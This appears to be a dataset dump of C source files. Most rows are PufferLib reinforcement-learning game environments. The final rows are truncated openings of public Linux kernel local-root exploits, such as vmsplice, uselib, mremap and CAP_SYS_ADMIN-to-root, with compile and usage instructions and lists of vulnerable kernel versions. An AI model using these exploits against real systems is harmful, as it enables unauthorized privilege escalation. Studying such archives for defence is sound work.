repo_full_name stringlengths 6 93 | repo_url stringlengths 25 112 | repo_api_url stringclasses 28
values | owner stringclasses 28
values | repo_name stringclasses 28
values | description stringclasses 28
values | stars int64 617 98.8k | forks int64 31 355 ⌀ | watchers int64 990 999 ⌀ | license stringclasses 2
values | default_branch stringclasses 2
values | repo_created_at timestamp[s]date 2012-07-24 23:12:50 2025-06-16 08:07:28 ⌀ | repo_updated_at timestamp[s]date 2026-02-23 15:23:15 2026-05-03 18:52:12 ⌀ | repo_topics listlengths 0 13 ⌀ | repo_languages unknown | is_fork bool 1
class | open_issues int64 3 104 ⌀ | file_path stringlengths 3 208 | file_name stringclasses 509
values | file_extension stringclasses 1
value | file_size_bytes int64 101 84k ⌀ | file_url stringclasses 627
values | file_raw_url stringclasses 627
values | file_sha stringclasses 624
values | language stringclasses 8
values | parsed_at stringdate 2026-05-04 01:12:36 2026-05-04 19:41:55 | text stringlengths 100 102k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/asteroids/asteroids.c | null | null | null | null | null | null | C | 2026-05-04T18:43:02.694014 | #include "asteroids.h"
int main() {
Asteroids env = {.size = 500, .frameskip = 1};
env.observations = (float *)calloc(4 + 2 * 50, sizeof(float));
env.actions = (int *)calloc(1, sizeof(int));
env.rewards = (float *)calloc(1, sizeof(float));
env.terminals = (unsigned char *)calloc(1, sizeof(unsigned char));
... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/asteroids/asteroids.h | null | null | null | null | null | null | C | 2026-05-04T18:43:02.711289 | #pragma once
#include "raylib.h"
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX_PARTICLES 10
#define MAX_ASTEROIDS 20
const unsigned char FORWARD = 0;
const unsigned char TURN_LEFT = 1;
const unsigned char TURN_RIGHT = 2;
const unsigned char SHOOT = 3;
const float FRICTION ... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/benchmark/benchmark.c | null | null | null | null | null | null | C | 2026-05-04T18:43:02.742375 | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <omp.h>
#include "benchmark.h"
int main(int argc, char** argv) {
int num_envs = argc > 1 ? atoi(argv[1]) : 1;
int threads = argc > 2 ? atoi(argv[2]) : 1;
int compute = argc > 3 ? atoi(argv[3]) : 0;
int bandwidth = argc > 4 ? atoi(argv[4]... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/asteroids/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:02.742942 | #include "asteroids.h"
#define Env Asteroids
#include "../env_binding.h"
static int my_init(Env *env, PyObject *args, PyObject *kwargs) {
env->size = unpack(kwargs, "size");
env->frameskip = unpack(kwargs, "frameskip");
return 0;
}
static int my_log(PyObject *dict, Log *log) {
assign_to_dict(dict, "perf", lo... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/benchmark/benchmark.h | null | null | null | null | null | null | C | 2026-05-04T18:43:03.213983 | #include <string.h>
#include <math.h>
typedef struct {
float perf;
float score;
float n;
} Log;
typedef struct {
Log log;
unsigned char* observations;
double* actions;
float* rewards;
float* terminals;
int num_agents;
int bandwidth;
int compute;
} Benchmark;
void c_reset(B... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/blastar/blastar.c | null | null | null | null | null | null | C | 2026-05-04T18:43:03.278299 | #include "blastar.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "puffernet.h"
const char* WEIGHTS_PATH = "resources/blastar/blastar_weights.bin";
#define OBSERVATIONS_SIZE 10
#define ACTIONS_SIZE 6
#define NUM_WEIGHTS 134407
void get_input(Blastar* env) {
if (IsKeyDown(K... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/blastar/blastar.h | null | null | null | null | null | null | C | 2026-05-04T18:43:03.286571 | #include <math.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "raylib.h"
#define SCREEN_WIDTH 640
#define SCREEN_HEIGHT 480
#define PLAYER_MAX_LIVES 10
#define ENEMY_SPAWN_Y 50
#define ENEMY_SPAWN_X -30
#define INIT_BULLET_SPEED 3.0f
#define MAX_SCORE (5 * PLAYER_MAX_LIVES... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/boids/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:03.290126 | #include "boids.h"
#define Env Boids
#include "../env_binding.h"
static int my_init(Env* env, PyObject* args, PyObject* kwargs) {
env->num_boids = unpack(kwargs, "num_boids");
env->report_interval = unpack(kwargs, "report_interval");
env->margin_turn_factor = unpack(kwargs, "margin_turn_factor");
env-... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/blastar/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:03.304120 | #include "blastar.h"
#define OBS_SIZE 10
#define NUM_ATNS 1
#define ACT_SIZES {6}
#define OBS_TYPE FLOAT
#define ACT_TYPE DOUBLE
#define Env Blastar
#include "vecenv.h"
void my_init(Env* env, Dict* kwargs) {
env->num_agents = 1;
int num_obs = dict_get(kwargs, "num_obs")->value;
init(env, num_obs);
}
void... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/benchmark/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:03.305135 | #include "benchmark.h"
#define OBS_SIZE 512 // TODO: Current API forces you to edit this per obs size
#define NUM_ATNS 1
#define ACT_SIZES {2}
#define OBS_TYPE UNSIGNED_CHAR
#define ACT_TYPE DOUBLE
#define Env Benchmark
#include "vecenv.h"
void my_init(Env* env, Dict* kwargs) {
env->num_agents = 1;
env->compu... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/boxoban/boxoban.c | null | null | null | null | null | null | C | 2026-05-04T18:43:03.352474 | /* Pure C demo file for Boxoban. Usage:
* bash scripts/build_ocean.sh boxoban
* ./boxoban [difficulty|path_to_bin]
*
* If you pass one of the known difficulty names (basic, easy, medium,
* hard, unfiltered) the demo looks for pufferlib/ocean/boxoban/boxoban_maps_<difficulty>.bin
* Otherwise the argument is tr... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/boids/boids.c | null | null | null | null | null | null | C | 2026-05-04T18:43:03.375908 | // Standalone C demo for Boids environment
// Compile using: ./scripts/build_ocean.sh boids [local|fast]
// Run with: ./boids
#include <time.h>
#include "boids.h"
// --- Demo Configuration ---
#define NUM_BOIDS_DEMO 20 // Number of boids for the standalone demo
#define MAX_STEPS_DEMO 500 // Max steps per episode in... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/boxoban/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:03.384226 | #define BOXOBAN_MAPS_IMPLEMENTATION //enables mmap
#include "boxoban.h"
#define OBS_SIZE 400
#define NUM_ATNS 1
#define ACT_SIZES {5}
#define OBS_TENSOR_T ByteTensor
#define Env Boxoban
#include "vecenv.h"
void my_init(Env* env, Dict* kwargs) {
env->difficulty_id = (int)dict_get(kwargs, "difficulty")->value;
... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/boids/boids.h | null | null | null | null | null | null | C | 2026-05-04T18:43:03.385205 | #include <stdlib.h>
#include <stdbool.h>
#include <stdio.h>
#include <math.h>
#include <string.h>
#include <limits.h>
#include <stdbool.h>
#include "raylib.h"
#define TOP_MARGIN 50
#define BOTTOM_MARGIN 50
#define LEFT_MARGIN 50
#define RIGHT_MARGIN 50
#define VELOCITY_CAP 5
#define VISUAL_RANGE 20
#define PROTECTED_... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/boxoban/boxoban.h | null | null | null | null | null | null | C | 2026-05-04T18:43:03.849493 | #include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include "raylib.h"
#include "boxoban_maps.h"
const unsigned char NOOP = 0;
const unsigned char DOWN = 1;
const unsigned char UP = 2;
const unsigned char LEFT = 3;
const unsigned char RIGHT = 4;
const unsigned char AGENT = 0;
const unsigne... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/boxoban/generate_maps.h | null | null | null | null | null | null | C | 2026-05-04T18:43:03.859588 | #ifndef PUFFERLIB_OCEAN_BOXOBAN_GENERATE_MAPS_H
#define PUFFERLIB_OCEAN_BOXOBAN_GENERATE_MAPS_H
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#define BOXOBAN_GEN_AGENT '@'
#define BOXOBAN_GEN_WALL '#'
#define BOXOBAN_GEN_... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/boxoban/parse_maps.h | null | null | null | null | null | null | C | 2026-05-04T18:43:03.903640 | #ifndef PUFFERLIB_OCEAN_BOXOBAN_PARSE_MAPS_H
#define PUFFERLIB_OCEAN_BOXOBAN_PARSE_MAPS_H
#include <ctype.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#define BOXOBAN_AGENT_CHAR '@'
#define BOXOBAN_WALL_CHAR '#'
#define BOXOBAN_BOX_CHAR '$'
#define BOXOBAN_T... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/breakout/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:03.921080 | #include "breakout.h"
#define OBS_SIZE 118
#define NUM_ATNS 1
#define ACT_SIZES {3}
#define OBS_TENSOR_T FloatTensor
#define Env Breakout
#include "vecenv.h"
void my_init(Env* env, Dict* kwargs) {
env->num_agents = 1;
env->frameskip = dict_get(kwargs, "frameskip")->value;
env->width = dict_get(kwargs, "wi... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/boxoban/boxoban_maps.h | null | null | null | null | null | null | C | 2026-05-04T18:43:03.958061 | #ifndef PUFFERLIB_OCEAN_BOXOBAN_MAPS_H
#define PUFFERLIB_OCEAN_BOXOBAN_MAPS_H
#include <dirent.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include "generate_maps.h"
#include "parse_maps.h"
/*
Map... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/breakout/breakout.c | null | null | null | null | null | null | C | 2026-05-04T18:43:03.962830 | #include <time.h>
#include "breakout.h"
#include "puffernet.h"
void demo() {
Weights* weights = load_weights("resources/breakout/breakout_weights.bin");
int logit_sizes[1] = {3};
PufferNet* net = make_puffernet(weights, 1, 118, 64, 2, logit_sizes, 1);
Breakout env = {
.frameskip = 1,
.... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/breakout/breakout.h | null | null | null | null | null | null | C | 2026-05-04T18:43:03.978979 | #include <stdlib.h>
#include <math.h>
#include <assert.h>
#include <unistd.h>
#include <limits.h>
#include <string.h>
#include "raylib.h"
#define NOOP 0
#define LEFT 1
#define RIGHT 2
#define HALF_PADDLE_WIDTH 31
#define Y_OFFSET 50
#define TICK_RATE 1.0f/60.0f
#define BRICK_INDEX_NO_COLLISION -4
#define BRICK_INDEX_... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/cartpole/cartpole.c | null | null | null | null | null | null | C | 2026-05-04T18:43:03.991180 | // local compile/eval implemented for discrete actions only
// eval with python demo.py --mode eval --env puffer_cartpole --eval-mode-path <path to model>
#include <math.h>
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include "cartpole.h"
#include "puffernet.h"
#define OBSERVATIONS_SIZE 4
#define ACTIONS... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/cartpole/cartpole.h | null | null | null | null | null | null | C | 2026-05-04T18:43:04.001817 | #include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdbool.h>
#include <math.h>
#include <time.h>
#include "raylib.h"
#define X_THRESHOLD 2.4f
#define THETA_THRESHOLD_RADIANS (12 * 2 * M_PI / 360)
#define MAX_STEPS 200
#define WIDTH 600
#define HEIGHT 200
#define SCALE 100
typedef struct Log Log;
st... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/cartpole/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:04.061117 | #include "cartpole.h"
#define OBS_SIZE 4
#define NUM_ATNS 1
#define ACT_SIZES {2}
#define OBS_TENSOR_T FloatTensor
#define Env Cartpole
#include "vecenv.h"
void my_init(Env* env, Dict* kwargs) {
env->num_agents = 1;
env->cart_mass = dict_get(kwargs, "cart_mass")->value;
env->pole_mass = dict_get(kwargs, "... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/chain_mdp/chain_mdp.c | null | null | null | null | null | null | C | 2026-05-04T18:43:04.480224 | #include "chain_mdp.h"
int main() {
Chain env = {.size = 64};
allocate_chain(&env);
c_reset(&env);
c_render(&env);
while (!WindowShouldClose()) {
if (IsKeyDown(KEY_LEFT_SHIFT)) {
env.actions[0] = 0;
if (IsKeyDown(KEY_LEFT) || IsKeyDown(KEY_A)) env.actions[0] = LEFT... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/chain_mdp/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:04.480749 | #include "chain_mdp.h"
#define Env Chain
#include "../env_binding.h"
static int my_init(Env* env, PyObject* args, PyObject* kwargs) {
env->size = unpack(kwargs, "size");
return 0;
}
static int my_log(PyObject* dict, Log* log) {
assign_to_dict(dict, "perf", log->perf);
assign_to_dict(dict, "score", lo... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/chain_mdp/chain_mdp.h | null | null | null | null | null | null | C | 2026-05-04T18:43:04.525079 | #include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "raylib.h"
const unsigned char LEFT = 0;
const unsigned char RIGHT = 1;
const float STATE1_REWARD = 0.001;
const float STATEN_REWARD = 1.0;
#define MAX(a,b) ((a) > (b) ? (a) : (b))
#define MIN(a,b) ((a) < (b) ? (a) : (b))
typedef struct {
float... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/checkers/checkers.c | null | null | null | null | null | null | C | 2026-05-04T18:43:04.594414 | #include "checkers.h"
int main() {
Checkers env = {.size = 8};
env.observations =
(unsigned char *)calloc(env.size * env.size, sizeof(unsigned char));
env.actions = (int *)calloc(1, sizeof(int));
env.rewards = (float *)calloc(1, sizeof(float));
env.terminals = (unsigned char *)calloc(1, sizeof(unsigned... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/connect4/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:04.594953 | #include "connect4.h"
#define OBS_SIZE 42
#define NUM_ATNS 1
#define ACT_SIZES {7}
#define OBS_TENSOR_T FloatTensor
#define Env Connect4
#include "vecenv.h"
void my_init(Env* env, Dict* kwargs) {
env->num_agents = 1;
env->player_pieces = dict_get(kwargs, "player_pieces")->value;
env->env_pieces = dict_get... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/connect4/connect4.c | null | null | null | null | null | null | C | 2026-05-04T18:43:04.613130 | #include "connect4.h"
#include "puffernet.h"
#include "time.h"
const unsigned char NOOP = 8;
void demo() {
Weights* weights = load_weights("resources/connect4/connect4_weights.bin");
int logit_sizes[] = {7};
PufferNet* net = make_puffernet(weights, 1, 42, 256, 1, logit_sizes, 1);
Connect4 env = {
... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/checkers/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:04.613841 | #include "checkers.h"
#define Env Checkers
#include "../env_binding.h"
static int my_init(Env *env, PyObject *args, PyObject *kwargs) {
env->size = unpack(kwargs, "size");
return 0;
}
static int my_log(PyObject *dict, Log *log) {
assign_to_dict(dict, "perf", log->perf);
assign_to_dict(dict, "score", log->sco... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/connect4/connect4.h | null | null | null | null | null | null | C | 2026-05-04T18:43:04.626024 | #include <stdlib.h>
#include <math.h>
#include <stdio.h>
#include <stdint.h>
#include "raylib.h"
#define WIN_CONDITION 4
const int PLAYER_WIN = 1.0;
const int ENV_WIN = -1.0;
const int ROWS = 6;
const int COLUMNS = 7;
const int WIDTH = 672;
const int HEIGHT = 576;
const int PIECE_WIDTH = 96;
const int PIECE_HEIGHT = 9... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/checkers/checkers.h | null | null | null | null | null | null | C | 2026-05-04T18:43:04.698460 | #pragma once
#include "raylib.h"
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define EMPTY 0
#define AGENT 1
#define OPPONENT 3
#define AGENT_PAWN 1
#define AGENT_KING 2
#define OPPONENT_PAWN 3
#define OPPONENT_KING 4
// Required struct. Only use floats!
typedef str... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/convert/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:05.409376 | #include "convert.h"
#define OBS_SIZE 28
#define NUM_ATNS 2
#define ACT_SIZES {9, 5}
#define OBS_TYPE FLOAT
#define ACT_TYPE DOUBLE
#define Env Convert
#include "vecenv.h"
void my_init(Env* env, Dict* kwargs) {
env->num_agents = dict_get(kwargs, "num_agents")->value;
env->width = dict_get(kwargs, "width")->va... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/convert_circle/convert_circle.c | null | null | null | null | null | null | C | 2026-05-04T18:43:05.642930 | #include "convert_circle.h"
#include "puffernet.h"
#include <stdlib.h>
#include <time.h>
int main() {
ConvertCircle env = {
.width = 1920,
.height = 1080,
.num_agents = 128,
.num_factories = 16,
.num_resources = 6,
.equidistant = 1,
.radius = 400,
};
srand(time(NULL));
... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/convert/convert.c | null | null | null | null | null | null | C | 2026-05-04T18:43:06.094678 | #include "convert.h"
#include "puffernet.h"
int main() {
Convert env = {
.width = 1920,
.height = 1080,
.num_agents = 1024,
.num_factories = 32,
.num_resources = 8,
};
init(&env);
int num_obs = 2*env.num_resources + 4 + env.num_resources;
env.observations = ... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/craftax/step_crafting.h | null | null | null | null | null | null | C | 2026-05-04T18:43:06.113630 | // Standalone native ports of Craftax crafting and placement subsystems.
//
// These helpers intentionally are not integrated into c_step yet. They mutate a
// full CraftaxState in place so tests can compare each subsystem directly
// against the installed JAX implementation.
#pragma once
#include "step_simple.h"
st... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/convert_circle/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:06.201607 | #include "convert_circle.h"
#define Env ConvertCircle
#include "../env_binding.h"
static int my_init(Env *env, PyObject *args, PyObject *kwargs) {
env->width = unpack(kwargs, "width");
env->height = unpack(kwargs, "height");
env->num_agents = unpack(kwargs, "num_agents");
env->num_factories = unpack(kwargs, "... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/convert/convert.h | null | null | null | null | null | null | C | 2026-05-04T18:43:06.287081 | /* Convert: a sample multiagent env about puffers eating stars.
* Use this as a tutorial and template for your own multiagent envs.
* We suggest starting with the Squared env for a simpler intro.
* Star PufferLib on GitHub to support. It really, really helps!
*/
#include <stdlib.h>
#include <string.h>
#include <ma... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/convert_circle/convert_circle.h | null | null | null | null | null | null | C | 2026-05-04T18:43:10.238732 | /* ConvertCircle: a sample multiagent env about puffers eating stars.
* Use this as a tutorial and template for your own multiagent envs.
* We suggest starting with the Squared env for a simpler intro.
* Star PufferLib on GitHub to support. It really, really helps!
*/
#include "raylib.h"
#include <math.h>
#include... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/craftax/craftax.c | null | null | null | null | null | null | C | 2026-05-04T18:43:10.268304 | // Standalone viewer for Craftax (random-action policy).
//
// Build:
// ./build.sh craftax --fast # optimized
// ./build.sh craftax --local # debug with sanitizers
// Run:
// ./craftax
#define CRAFTAX_ENABLE_ENV_IMPL
#include "craftax.h"
#include "step_crafting.h"
#include "step_update_mobs.h"
#i... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/craftax/craftax.h | null | null | null | null | null | null | C | 2026-05-04T18:43:10.305130 | // Full native Craftax environment for PufferLib Ocean.
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include "worldgen.h"
#include "raylib.h"
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
// ============================================================
// ... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/craftax/noise.h | null | null | null | null | null | null | C | 2026-05-04T18:43:10.367046 | // Native C port of craftax/craftax/util/noise.py.
#pragma once
#include <math.h>
#include <stddef.h>
#include <stdint.h>
#include "threefry.h"
#ifndef CRAFTAX_NOISE_PI2
#define CRAFTAX_NOISE_PI2 6.28318530717958647692f
#endif
#ifndef CRAFTAX_NOISE_SQRT2
#define CRAFTAX_NOISE_SQRT2 1.41421356237309504880f
#endif
... |
PufferAI/PufferLib | https://github.com/PufferAI/PufferLib | null | null | null | null | 5,650 | null | null | mit | null | null | null | null | null | null | null | ocean/craftax/binding.c | null | null | null | null | null | null | C | 2026-05-04T18:43:10.394441 | #define CRAFTAX_ENABLE_ENV_IMPL
#include "craftax.h"
#include "step_crafting.h"
#include "step_update_mobs.h"
#include "step_spawn_mobs.h"
#define OBS_SIZE CRAFTAX_OBS_SIZE
#define NUM_ATNS 1
#define ACT_SIZES {CRAFTAX_NUM_ACTIONS}
#define OBS_TENSOR_T FloatTensor
#define CRAFTAX_VEC_TILE_SIZE 128
#define MY_VEC_INIT... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2004/CVE-2004-1235/744.c | null | null | null | null | null | null | C | 2026-05-04T18:43:12.762238 | /*
* EDB Note: There's is an updated version ~ https://www.exploit-db.com/exploits/895/
*/
/*
* binfmt_elf uselib VMA insert race vulnerability
* v1.08
*
* gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2005/CVE-2005-0736/1397.c | null | null | null | null | null | null | C | 2026-05-04T18:43:12.764008 | /*
* k-rad3.c - linux 2.6.11 and below CPL 0 kernel local exploit v3
* Discovered and original exploit coded Jan 2005 by sd <sd@fucksheep.org>
*
*********************************************************************
*
* Modified 2005/9 by alert7 <alert7@xfocus.org>
* XFOCUS Security Team http://www.xfocus.org
*
... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2008/CVE-2008-4210/6851.c | null | null | null | null | null | null | C | 2026-05-04T18:43:12.788456 | /*
gw-ftrex.c:
Linux kernel < 2.6.22 open/ftruncate local exploit
by <gat3way at gat3way dot eu>
bug information:
http://osvdb.org/49081
!!!This is for educational purposes only!!!
To use it, you've got to find a sgid directory you've got
permissions to write into (obviously world-writable), e.g:
fin... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2004/CVE-2004-0077/160.c | null | null | null | null | null | null | C | 2026-05-04T18:43:12.791819 | /*
*
* mremap missing do_munmap return check kernel exploit
*
* gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
* ./mremap_pte [suid] [[shell]]
*
* Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2008/CVE-2008-0900/5092.c | null | null | null | null | null | null | C | 2026-05-04T18:43:12.794375 | /*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*
* This is ... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2004/caps_to_root/15916.c | null | null | null | null | null | null | C | 2026-05-04T18:43:12.805722 | /*
* Linux Kernel CAP_SYS_ADMIN to root exploit
* by Dan Rosenberg
* @djrbliss on twitter
*
* Usage:
* gcc -w caps-to-root.c -o caps-to-root
* sudo setcap cap_sys_admin+ep caps-to-root
* ./caps-to-root
*
* This exploit is NOT stable:
*
* * It only works on 32-bit x86 machines
*
* * It only... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2006/CVE-2006-2451/2031.c | null | null | null | null | null | null | C | 2026-05-04T18:43:12.818741 | /*
* $Id: raptor_prctl2.c,v 1.3 2006/07/18 13:16:45 raptor Exp $
*
* raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)
* Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* The suid_dumpable support in Linux kernel 2.6.13 up to versions before
* 2.6.17.4, and 2.6.16 before 2.6... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2008/CVE-2008-0600/5093.c | null | null | null | null | null | null | C | 2026-05-04T18:43:12.820449 | /*
* diane_lane_fucked_hard.c
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.23 - 2.6.24
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>
#define TARGET_PATTERN " sys_vm86old"
#define TA... |
SecWiki/linux-kernel-exploits | https://github.com/SecWiki/linux-kernel-exploits | null | null | null | null | 5,595 | null | null | mit | null | null | null | null | null | null | null | 2006/CVE-2006-3626/2013.c | null | null | null | null | null | null | C | 2026-05-04T18:43:12.846143 | /*
** Author: h00lyshit
